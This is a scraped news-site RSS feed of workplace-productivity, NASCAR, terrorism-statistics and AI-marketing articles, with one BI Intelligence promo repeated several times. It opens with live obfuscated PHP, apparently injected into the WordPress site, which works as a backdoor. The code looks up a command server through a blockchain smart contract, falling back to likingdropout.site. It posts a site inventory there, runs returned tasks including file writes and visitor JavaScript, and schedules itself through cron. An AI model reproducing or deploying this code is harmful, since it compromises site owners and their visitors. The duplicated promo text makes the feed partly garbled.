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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); impacting – Brief News https://briefnews.eu Latest World News. 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]]> https://briefnews.eu/the-ai-disruption-bundle-the-guide-to-understanding-how-artificial-intelligence-is-impacting-the-world-amzn-aapl-googl-4/feed/ 0 How to Stop These 15 Distractions at Work From Impacting Your Career https://briefnews.eu/how-to-stop-these-15-distractions-at-work-from-impacting-your-career/ https://briefnews.eu/how-to-stop-these-15-distractions-at-work-from-impacting-your-career/#respond Mon, 01 Oct 2018 14:52:14 +0000 http://briefnews.eu/how-to-stop-these-15-distractions-at-work-from-impacting-your-career/ Workplace distractions can leave you feeling stressed, exhausted, and overworked. You’ve been hopeful for a raise but you know that your boss has noticed that your performance and behavior is not up to your usual standards.

Focusing used to be a lot easier but as time goes on you let “all the things” stand in the way of your successful career. You know that you need to focus, eat nutritious foods, and stop talking excessively to your co-workers. Are you ready to put the distractions to rest once and for all so that you can confidently ask for the promotion you’ve been eyeing?

Here’s the deal, you’ll always have a person at work that talks way to much, endless emails, phones ringing, and a sense of urgency for everything except for what you need to be doing.

Imagine if you have had fewer distractions and you were able to focus on your priorities. I’ve identified the major 15 distractions but even better we will talk about about how you can fix these issues so that your productivity will skyrocket.

1. Frequently checking emails

Emails are widely used and a mainstream way of communication in the workplace. They are also constantly being sent at random times throughout the day. Your initial to do list will be derailed time and time again when you constantly check your email.

Do this:

Set a time to check your work emails or you’ll always be at the mercy of someone’s else’s sense of urgency.

Some jobs’ daily work flow comes directly via email and that is fine but for the rest of us, checking your email 3 times a day should be plenty.

Check emails about 2 hours after you’ve arrived to work, after lunch, and about 1 hour before you leave for the day.

These time frames will give you time to tackle any new tasks that have come in through your email. It will also put an end to constantly refreshing your inbox.

2. Instant message apps such as Slack

The sense of urgency increases tenfold with apps like Slack if you are not careful.

Let’s be clear, the need for quick efficient communication is ever present. This app has great advantages when used effectively. However, if it holds your time hostage with ongoing discussions, then limitations need to set in place.

Do this:

Set boundaries around the use of Slack. Make sure your office knows that you have a time to be offline and shouldn’t be expected to respond in Slack during that time.

3. Phone calls

Constantly answering phone calls puts a drag on productivity. They ring to no end and it will never stop unless boundaries are created.

Do this instead:

Once you have answered a phone call at work, take a message and clearly communicate with the other person that you will make note of the request now but respond back to them at a designated time.

The second thing that can be implemented is to set a voicemail for times that you are away from your desk answering the most commonly asked questions and directing all non urgent communication from coworkers to email communication that will be checked at a designated time. This will only work for in house calls.

Over time, you will train your co workers to email you instead of constantly ringing your work phone.

4. Helping coworkers

There is no “I” in team but at some point we have to get our own work done!

There are times when we must rally to the cause to get everything done on big projects. Then there are times when you know that your coworker essentially plans to put as much work on your virtual plate as you will allow them to place on there.

Do this:

Be consistent with communicating that you need to complete your work first. Once your work is done you will be glad to help.

5. Talking to your co workers

A chatty Kathy (or Charles) can be found in every establishment of moderate size, what befuddles me is when they refuse to know that their relentless chatter is decreasing your productivity.

Maybe the very brief hall or cubicle talk makes your day, but incessant chatter undoubtedly decreases your productivity.

Do this:

If you have an office door, close it. If not, when your co worker attempts to chat, ask them if it can wait until you get done with your work.

Sometimes they still won’t get it! In that case, return to your work, and tell them that you really want to start putting a better effort into staying on task and ask them if they can hold you accountable.

6. Messy work area

A neatly organized work area can save you a ton of time. According to Reliable Plant,((Reliable Plant: Reduce office clutter to increase productivity, efficiency and profitability)) studies have shown that the average person wastes 4.3 hours per week searching for papers, which adds stress and frustration to the workplace while reducing concentration and creative thinking.

Do this:

Take the time to label folders or bins to optimize your day to day tasks. Labels such as “to do,” “follow up later,” will be beneficial in increasing your productivity.

File papers away in their respective places as soon as you are done with them.

7. Lack of prioritization

Lack of priorities is a productivity killer. If you don’t know where to start, how can you ever start producing results? Develop a game plan for being productive as soon as you enter work.

Do this:

Plan your work day out the day prior to increase productivity.

Create a mini to-do list that includes the tasks that you’ll work on as soon as you arrive at work.

Clean your desk off prior to leaving and be prepared to jump in as soon as you return to work.

8. Procrastination

Procrastination is a case of putting things off until the last minute in favor of doing absolutely nothing or some other task that is not getting you closer to completing your goals.

Do this:

Celestine points out the importance of breaking your action steps down into doable goals and then taking action.

Lifehack’s CEO also has great advice on this:

What Is Procrastination (And the Complete Guide to Stop Procrastinating)

9. Meetings

Meetings are essential but are notorious for being a waste of time.

Do this:

Create clear goals and have agenda for the meeting. Start the meeting on time and end it on time. Stick to the topics of the meeting in order to get the most value out of the time spent.

Also check out these 12 Secrets To a Super Productive Meeting You Should Know.

10. Office noise

Office noise can come from many sources. The number one distraction is noise from other humans.((NPR: What’s More Distracting Than A Noisy Co-Worker? Turns Out, Not Much))

Offices can get really loud when iTunes compete for air space (at least use your earbuds people), your co-workers yell to people across the room, talk to themselves, chew gum loudly (why is this allowed), and phone conversations are taking place – seemingly all at once.

Do this:

Closing your door, if you have one, works well in this case. If not, talking to you co worker about their habits will be best.

Start by scheduling some time to talk to your co worker. Ask them if there are any behaviors that you display that are distracting to them.

Thank them for pointing out any of your behaviors. Then assert that you would like to do the same. This may seem a bit uncomfortable but share your concerns in a nice way and hopefully office noise will improve.

11. Constantly checking social media

According to Pew, the average American uses at least three social platforms.((Pew: Social Media Use in 2018)) While the exact percentages vary by age, 51% of Facebook users stated they visit the site several times a day. 40% of the user stated that it would be hard to give it up.

Do this:

Use your personal social platforms on your break or at lunch. You can try this 20-second rule to get rid of distractions or take these steps to disconnect from social media:

9 Steps to Disconnect from Social Media and Connect With Life Again

12. Boredom

Most Americans become bored at their job from citing issues such as mundane tasks, lack of opportunity for advancement, and loss of motivation in general.

Do this:

Choose to think new thoughts and decide to take action to increase your productivity. List three things in your life that are possible because of your job.

But most importantly, find out the real reason why you feel bored at work:

What to Do When Bored at Work (And the Reason Why You Feel Bored)

13. Multitasking

Studies have shown that multitasking on complex test decrease efficiency and productivity significantly. Our brains do not complete tasks simultaneously but rather switches tasks and the start/stop/start process is a real energy drain.

Do this:

Prioritize your tasks based on deadlines or urgency then focus on one task until it is complete so that you will become more efficient. This guide will help you stop multitasking to boost productivity:

How to Stop Multitasking and Become Way More Productive

14. Eating

Workplace celebrations are often accompanied by food. These activities include baby shower, promotions, retirement parties. The sugary processed snacks or not the most ideal sources of nutrition.

Washington post gathered data from The Centers for Disease Control which found that adults consume nearly 1300 calories per week from food and beverage that they got at work.((Washington Post: Why you should probably stop snacking at work)) Naturally we want to be acknowledged and celebrated here and there but hanging out at the party can take time from tasks that you have been putting off.

Do this:

Congratulate the person that is being celebrated. Choose the healthiest food options (or a small amount of indulgent food), and get back to work:

25 Healthy Snacks for Work: Decrease Hunger and Increase Productivity

15. Workplace bullying

Statistics from Workplace Bullying Institute report that bullying is present in today’s workplace and an alarming 72% of employers denied, discount, encourage, rationalize, or defend it.((Workplace Bullying Institute: 2014 WBI U.S. Workplace Bullying Survey))

Bullying can be verbal and constant. Therefore it may be harder to prove without the support of coworkers that have witnessed it. This behavior is completely distracting and stressful.

Do this:

Document instances of bullying. Seek the support of a trusted coworker. Report the accounts of bullying to the proper authorities.

In most cases, this can be disclosed in human resources departments.

The bottom line

Workplace distractions will never go away. In order use our time effectively we must set up a system and boundaries to be more effective. I have given you 15 solutions to workplace distractions. Implementing as many as possible will be a game changer for you and you will be confident when you ask for your next raise.

How you you react the next time you are distracted at work?

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  • NASCAR teams are losing sponsors at an alarming rate.
  • While the sponsor losses leave teams scrambling to pay the bills, it is also having an impact on their fan bases and how they identify with their favorite drivers.
  • The solution might come from soccer where teams have prominent sponsors, but the teams have consistent color schemes that are easily identifiable even when sponsors change.
  • The solution could cost teams up front, but it could be the best move to strengthen the sport in the long run.

NASCAR has a growing sponsorship problem that could be impacting their fan base directly, and the solution might be found in soccer.

Several top drivers have lost their primary sponsor in recent years or will lose them next season, including 7-time champion Jimmie Johnson, 2017 champion Martin Truex Jr., Kyle Larson, and Kasey Kahne, among others.

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This is a preview of a research report bundle from BI Intelligence, Business Insider’s premium research service. To learn more about BI Intelligence, click here.

Artificial intelligence (AI) isn’t a part of the future of technology. AI is the future of technology.

Elon Musk and Mark Zuckerberg have even publicly debated whether or not that will turn out to be a good thing.

Voice assistants like Apple’s Siri and Amazon’s Alexa have become more and more prominent in our lives, and that will only increase as they learn more skills.

These voice assistants are set to explode as more devices powered by AI enter the market. Most of the major technology players have some sort of smart home hub, usually in the form of a smart speaker. These speakers, like the Amazon Echo or Apple HomePod, are capable of communicating with a majority of WiFi-enabled devices throughout the home.

While AI is having an enormous impact on individuals and the smart home, perhaps its largest impact can be felt in the e-commerce space. In the increasingly cluttered e-commerce space, personalization is one of the key differentiators retailers can turn towards to stand out to consumers. In fact, retailers that have implemented personalization strategies see sales gains of 6-10%, at a rate two to three times faster than other retailers, according to a report by Boston Consulting Group.

This can be accomplished by leveraging machine learning technology to sift through customer data to present the relevant information in front of that consumer as soon as they hit the page.

With hundreds of hours of research condensed into three in-depth reports, BI Intelligence is here to help get you caught up on what you need to know on how AI is disrupting your business or your life.

Below you can find more details on the three reports that make up the AI Disruption Bundle, including proprietary insights from the 16,000-member BI Insiders Panel:

AI in E-Commerce Report

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One of retailers’ top priorities is to figure out how to gain an edge over Amazon. To do this, many retailers are attempting to differentiate themselves by creating highly curated experiences that combine the personal feel of in-store shopping with the convenience of online portals.

These personalized online experiences are powered by artificial intelligence (AI). This is the technology that enables e-commerce websites to recommend products uniquely suited to shoppers, and enables people to search for products using conversational language, or just images, as though they were interacting with a person.

Using AI to personalize the customer journey could be a huge value-add to retailers. Retailers that have implemented personalization strategies see sales gains of 6-10%, a rate two to three times faster than other retailers, according to a report by Boston Consulting Group (BCG). It could also boost profitability rates 59% in the wholesale and retail industries by 2035, according to Accenture.

This report illustrates the various applications of AI in retail and use case studies to show how this technology has benefited retailers. It assesses the challenges that retailers may face as they implement AI, specifically focusing on technical and organizational challenges. Finally, the report weighs the pros and cons of strategies retailers can take to successfully execute AI technologies in their organization.

The Smart Speaker Report

smart speaker reportBI Intelligence

Smart speakers — Amazon’s Echo, for example — are the latest device category poised to take a chunk of our increasingly digital lives. These devices are made primarily for the home and execute a user’s voice commands via an integrated digital assistant. These digital assistants can play music, answer questions, and control other devices within a user’s home, among other things.

The central question for this new product category is not when they will take off, but which devices will rise to the top. To answer this question, BI Intelligence surveyed our leading-edge consumer panel, gathering exclusive data on Amazon’s recently released Echo Show and Echo Look, as well as Apple’s HomePod.

This report, which leverages BI Intelligence’s proprietary data, analyzes the market potential of the Echo Look, Echo Show, and HomePod. Using exclusive survey data, we evaluate each device’s potential for adoption based on four criteria: awareness, excitement, usefulness, and purchase intent. And we draw some inferences from our data about the direction the smart speaker market could take from here.

The Voice Assistant Landscape Report

Voice assistant landscapeBI IntelligenceAdvancements in a bevy of industries are helping intelligent digital voice assistants like Apple’s Siri and Amazon’s Alexa become more sophisticated and useful pieces of technology.

Advances in artificial intelligence (AI) are allowing them to accurately understand more information, while upgrades to mobile networks are facilitating quick transfers of data to robust clouds, enabling fast response times. In addition, the swell of internet connected devices like smart thermostats and speakers is giving voice assistants more utility in a connected consumer’s life.

Increasingly sophisticated voice assistants and the growing potential use cases they can assist in are driving consumers to adopt them in greater droves — 65% of US smartphone owners were employing voice assistants in 2015, up significantly from 30% just two years prior. Consumers are also eagerly adopting speaker-based voice assistants, with shipments of Google Home and Amazon Echo speakers expected to climb more than threefold to 24.5 million in 2017, according to a report from VoiceLabs.

However, there are still numerous barriers that need to be overcome before this product platform will see mass adoption, as both technological challenges and societal hurdles persist.

This report explains what’s driving the recent upsurge in adoption of digital voice assistants. It explores the recent technology advancements that have catalyzed this growth, while presenting the technological shortcomings preventing voice assistants from hitting their true potential. This report also examines the voice assistant landscape, and discusses the leading voice assistants and the devices through which consumers interact with them. Finally, it identifies the major barriers to mass adoption, and the impact voice assistants could have in numerous industries once they cross that threshold.

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  • The Institute for Economics and Peace released the 2017 Global Terrorism Index report.
  • Deaths from terrorism decreased between 2015 and 2016, continuing a decline from a peak reached in 2014.
  • Seventy seven countries experienced at least one death from terrorism.

Between 2002 and the end of 2016, eight of the world’s nine regions experienced an increase in terrorist activity, according to the 2017 Global Terrorism Index report produced by the Institute for Economics and Peace.

North America was the only region to see a decline.

Deaths from terrorism decreased from 2015 to 2016, continuing a decline from a peak reached in 2014. Last year’s 25,673 deaths from terrorism marked the second consecutive annual decline and a 22% drop from 2014.

Despite the falling terrorism-related body count, 77 countries experienced at least one death from terrorism. The increase from 65 countries in 2015 drove the Global Terrorism Index score down by 4%.

The top-five countries in the index — Iraq, Afghanistan, Nigeria, Syria, and Pakistan, respectively — had nearly three-quarters off all deaths from terrorism in 2016, but all except Iraq saw the number of deaths drop in that same year. Yemen, Somalia, India, Turkey, and Libya rounded out the top 10 countries in the index.

Here’s a map of how terrorism spiked across the world in the past year:

BI Graphics_Global Terrorism Index 2017Samantha Lee/Business Insider

Iraq saw a 40% increase in deaths last year — an increase driven largely by ISIS activity in response to government efforts to liberate territory held by the group.

Nigeria had the greatest decline, with 3,100 fewer deaths last year compared to 2015. That reduction was driven by an 80% drop in the number of people killed by Boko Haram.

Yemen, Afghanistan, and Syria together saw more than 500 fewer deaths in 2016 than in 2015.

Globally, attacks against civilians rose 17% between 2015 and 2016. 

Terrorism-related deaths have also increased, along with battle-related deaths, rising 67% and 66%, respectively, in the decade spanning 2006 and 2016.

Since 2014, attacks against nontraditional targets with unconventional tactics have grown more common in OECD countries. ISIS and ISIS-related actors have shown these tactics are more likely to be effective.

ISIS, Boko Haram, Al Qaeda, and the Taliban were the four deadliest terrorist groups in 2016, accounting for 59% of deaths. ISIS was the most potent, with a 50% increase in deaths from the previous peak in 2015.

The majority of the 9,132 people killed by the group were in Iraq. The group also directed attacks in 15 countries last year, four more than the previous year.

The Global Terrorism Index — which defines terrorism as “the threatened or actual use of illegal force and violence by a non-state actor to attain a political, economic, religious, or social goal through fear, coercion, or intimidation” — analyzes the impact of terrorism in 163 countries and covers 99.7% of the world’s population.

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This is a preview of a research report bundle from BI Intelligence, Business Insider’s premium research service. To learn more about BI Intelligence, click here.

Artificial intelligence (AI) isn’t a part of the future of technology. AI is the future of technology.

Elon Musk and Mark Zuckerberg have even publicly debated whether or not that will turn out to be a good thing.

Voice assistants like Apple’s Siri and Amazon’s Alexa have become more and more prominent in our lives, and that will only increase as they learn more skills.

These voice assistants are set to explode as more devices powered by AI enter the market. Most of the major technology players have some sort of smart home hub, usually in the form of a smart speaker. These speakers, like the Amazon Echo or Apple HomePod, are capable of communicating with a majority of WiFi-enabled devices throughout the home.

While AI is having an enormous impact on individuals and the smart home, perhaps its largest impact can be felt in the e-commerce space. In the increasingly cluttered e-commerce space, personalization is one of the key differentiators retailers can turn towards to stand out to consumers. In fact, retailers that have implemented personalization strategies see sales gains of 6-10%, at a rate two to three times faster than other retailers, according to a report by Boston Consulting Group.

This can be accomplished by leveraging machine learning technology to sift through customer data to present the relevant information in front of that consumer as soon as they hit the page.

With hundreds of hours of research condensed into three in-depth reports, BI Intelligence is here to help get you caught up on what you need to know on how AI is disrupting your business or your life.

Below you can find more details on the three reports that make up the AI Disruption Bundle, including proprietary insights from the 16,000-member BI Insiders Panel:

AI in E-Commerce Report

ai ecommerceBI Intelligence

One of retailers’ top priorities is to figure out how to gain an edge over Amazon. To do this, many retailers are attempting to differentiate themselves by creating highly curated experiences that combine the personal feel of in-store shopping with the convenience of online portals.

These personalized online experiences are powered by artificial intelligence (AI). This is the technology that enables e-commerce websites to recommend products uniquely suited to shoppers, and enables people to search for products using conversational language, or just images, as though they were interacting with a person.

Using AI to personalize the customer journey could be a huge value-add to retailers. Retailers that have implemented personalization strategies see sales gains of 6-10%, a rate two to three times faster than other retailers, according to a report by Boston Consulting Group (BCG). It could also boost profitability rates 59% in the wholesale and retail industries by 2035, according to Accenture.

This report illustrates the various applications of AI in retail and use case studies to show how this technology has benefited retailers. It assesses the challenges that retailers may face as they implement AI, specifically focusing on technical and organizational challenges. Finally, the report weighs the pros and cons of strategies retailers can take to successfully execute AI technologies in their organization.

The Smart Speaker Report

smart speaker reportBI Intelligence

Smart speakers — Amazon’s Echo, for example — are the latest device category poised to take a chunk of our increasingly digital lives. These devices are made primarily for the home and execute a user’s voice commands via an integrated digital assistant. These digital assistants can play music, answer questions, and control other devices within a user’s home, among other things.

The central question for this new product category is not when they will take off, but which devices will rise to the top. To answer this question, BI Intelligence surveyed our leading-edge consumer panel, gathering exclusive data on Amazon’s recently released Echo Show and Echo Look, as well as Apple’s HomePod.

This report, which leverages BI Intelligence’s proprietary data, analyzes the market potential of the Echo Look, Echo Show, and HomePod. Using exclusive survey data, we evaluate each device’s potential for adoption based on four criteria: awareness, excitement, usefulness, and purchase intent. And we draw some inferences from our data about the direction the smart speaker market could take from here.

The Voice Assistant Landscape Report

Voice assistant landscapeBI IntelligenceAdvancements in a bevy of industries are helping intelligent digital voice assistants like Apple’s Siri and Amazon’s Alexa become more sophisticated and useful pieces of technology.

Advances in artificial intelligence (AI) are allowing them to accurately understand more information, while upgrades to mobile networks are facilitating quick transfers of data to robust clouds, enabling fast response times. In addition, the swell of internet connected devices like smart thermostats and speakers is giving voice assistants more utility in a connected consumer’s life.

Increasingly sophisticated voice assistants and the growing potential use cases they can assist in are driving consumers to adopt them in greater droves — 65% of US smartphone owners were employing voice assistants in 2015, up significantly from 30% just two years prior. Consumers are also eagerly adopting speaker-based voice assistants, with shipments of Google Home and Amazon Echo speakers expected to climb more than threefold to 24.5 million in 2017, according to a report from VoiceLabs.

However, there are still numerous barriers that need to be overcome before this product platform will see mass adoption, as both technological challenges and societal hurdles persist.

This report explains what’s driving the recent upsurge in adoption of digital voice assistants. It explores the recent technology advancements that have catalyzed this growth, while presenting the technological shortcomings preventing voice assistants from hitting their true potential. This report also examines the voice assistant landscape, and discusses the leading voice assistants and the devices through which consumers interact with them. Finally, it identifies the major barriers to mass adoption, and the impact voice assistants could have in numerous industries once they cross that threshold.

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This is a preview of a research report bundle from BI Intelligence, Business Insider’s premium research service. To learn more about BI Intelligence, click here.

Artificial intelligence (AI) isn’t a part of the future of technology. AI is the future of technology.

Elon Musk and Mark Zuckerberg have even publicly debated whether or not that will turn out to be a good thing.

Voice assistants like Apple’s Siri and Amazon’s Alexa have become more and more prominent in our lives, and that will only increase as they learn more skills.

These voice assistants are set to explode as more devices powered by AI enter the market. Most of the major technology players have some sort of smart home hub, usually in the form of a smart speaker. These speakers, like the Amazon Echo or Apple HomePod, are capable of communicating with a majority of WiFi-enabled devices throughout the home.

While AI is having an enormous impact on individuals and the smart home, perhaps its largest impact can be felt in the e-commerce space. In the increasingly cluttered e-commerce space, personalization is one of the key differentiators retailers can turn towards to stand out to consumers. In fact, retailers that have implemented personalization strategies see sales gains of 6-10%, at a rate two to three times faster than other retailers, according to a report by Boston Consulting Group.

This can be accomplished by leveraging machine learning technology to sift through customer data to present the relevant information in front of that consumer as soon as they hit the page.

With hundreds of hours of research condensed into three in-depth reports, BI Intelligence is here to help get you caught up on what you need to know on how AI is disrupting your business or your life.

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AI in E-Commerce Report

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One of retailers’ top priorities is to figure out how to gain an edge over Amazon. To do this, many retailers are attempting to differentiate themselves by creating highly curated experiences that combine the personal feel of in-store shopping with the convenience of online portals.

These personalized online experiences are powered by artificial intelligence (AI). This is the technology that enables e-commerce websites to recommend products uniquely suited to shoppers, and enables people to search for products using conversational language, or just images, as though they were interacting with a person.

Using AI to personalize the customer journey could be a huge value-add to retailers. Retailers that have implemented personalization strategies see sales gains of 6-10%, a rate two to three times faster than other retailers, according to a report by Boston Consulting Group (BCG). It could also boost profitability rates 59% in the wholesale and retail industries by 2035, according to Accenture.

This report illustrates the various applications of AI in retail and use case studies to show how this technology has benefited retailers. It assesses the challenges that retailers may face as they implement AI, specifically focusing on technical and organizational challenges. Finally, the report weighs the pros and cons of strategies retailers can take to successfully execute AI technologies in their organization.

The Smart Speaker Report

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Smart speakers — Amazon’s Echo, for example — are the latest device category poised to take a chunk of our increasingly digital lives. These devices are made primarily for the home and execute a user’s voice commands via an integrated digital assistant. These digital assistants can play music, answer questions, and control other devices within a user’s home, among other things.

The central question for this new product category is not when they will take off, but which devices will rise to the top. To answer this question, BI Intelligence surveyed our leading-edge consumer panel, gathering exclusive data on Amazon’s recently released Echo Show and Echo Look, as well as Apple’s HomePod.

This report, which leverages BI Intelligence’s proprietary data, analyzes the market potential of the Echo Look, Echo Show, and HomePod. Using exclusive survey data, we evaluate each device’s potential for adoption based on four criteria: awareness, excitement, usefulness, and purchase intent. And we draw some inferences from our data about the direction the smart speaker market could take from here.

The Voice Assistant Landscape Report

Voice assistant landscapeBI IntelligenceAdvancements in a bevy of industries are helping intelligent digital voice assistants like Apple’s Siri and Amazon’s Alexa become more sophisticated and useful pieces of technology.

Advances in artificial intelligence (AI) are allowing them to accurately understand more information, while upgrades to mobile networks are facilitating quick transfers of data to robust clouds, enabling fast response times. In addition, the swell of internet connected devices like smart thermostats and speakers is giving voice assistants more utility in a connected consumer’s life.

Increasingly sophisticated voice assistants and the growing potential use cases they can assist in are driving consumers to adopt them in greater droves — 65% of US smartphone owners were employing voice assistants in 2015, up significantly from 30% just two years prior. Consumers are also eagerly adopting speaker-based voice assistants, with shipments of Google Home and Amazon Echo speakers expected to climb more than threefold to 24.5 million in 2017, according to a report from VoiceLabs.

However, there are still numerous barriers that need to be overcome before this product platform will see mass adoption, as both technological challenges and societal hurdles persist.

This report explains what’s driving the recent upsurge in adoption of digital voice assistants. It explores the recent technology advancements that have catalyzed this growth, while presenting the technological shortcomings preventing voice assistants from hitting their true potential. This report also examines the voice assistant landscape, and discusses the leading voice assistants and the devices through which consumers interact with them. Finally, it identifies the major barriers to mass adoption, and the impact voice assistants could have in numerous industries once they cross that threshold.

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In today’s age of flying cars, robots and Elon Musk, if you haven’t heard of artificial intelligence (AI) or machine learning (ML) then you must be avoiding all types of media. To most, these concepts seem futuristic and not applicable to everyday life, but when it comes to marketing technology, AI and ML actually touch everyone that consumes digital content.

But how exactly are these being deployed for marketing technology and digital media? Outside of this sector, we hear about AI being applied in medical and military fields, but usually not something as commonplace as media. Utilizing these advanced technologies actually enables mar tech and ad tech companies to create highly personalized and custom digital content experiences across the web.

The ultimate goal for all marketers is to drive sales through positive brand consumer engagements. A major problem for marketers is that they have so much content (often times more content than they even realize) and millions of potential places to show it, but they don’t know the most optimal place for each piece of content to reach specific audiences.

With all of these possible placements, it would be incredibly inefficient, if not impossible, for a human being to amass, organize and analyze this data comprehensively and then make the smartest buying decision in real-time based on the facts. Testing an infinite amount of combinations of creative ideas and placements is like a puzzle that keeps adding more and more pieces while you are trying to place them all together.

So how can marketers put this data to work to efficiently and distribute their content across the digital universe using the right messaging to drive the best results?

Human beings can make bad decisions based on incomplete data analysis. For example, someone might block a placement from a campaign based one or two prior experiences with incomplete or statistically insignificant data but it actually may perform very well. An optimization engine can leverage machine learning to understand the variance in placement performance by campaign and advertiser vertical holistically. This is why computers are simply better than humans at certain tasks.

This does not discount the value of humans, for superior customer service and relationships will always be critical. But the combination of human power plus machine learning will yield a much better result, not only in marketing technology but across all industries that are leveraging this advanced technology.

Machine learning and AI address the real inefficiencies that were present in digital media and have made tremendous progress pushing the industry toward personalization. Delivering personalized content experiences to today’s consumer is incredibly important, especially with the always-on, constantly connected, multi-device life that we all lead.

The power of machine learning and artificial intelligence is the ability to achieve massive scale that is not otherwise possible while also maintaining relevancy. This demand for personalization makes the amount of combinations necessary to test explode. For example, if a marketer wants to build a campaign with a personalized experience based on past browsing behavior, it becomes difficult to glean insight from the millions of combinations of the context in which their advertisement will appear and the variety of different browsing behaviors people exhibit. Even with fast, granular reporting, it is impossible to make all the necessary adjustments in a timely manner due to the sheer volume of the dataset.

Furthermore, it is often impossible to draw a conclusion from the data that can be gathered by running a single campaign. A holistic approach that models the interaction between users and a variety of different advertising verticals is necessary to have a meaningful predictor of campaign performance. This is where the real power of a bidder powered by machine learning lies because individual marketers are not able to observe these trends due to the fact that they may only have experience running campaigns in a specific vertical.

An intelligent bidder determines how each placement has performed in previous campaigns. If one specific placement performed poorly for multiple advertisers with similar KPIs, similar advertisers in the future will not waste money on testing that placement. The learning happens very quickly and precisely.  Instead of humans taking these learnings and adjusting the algorithms, the technology is making the changes as they are detected.

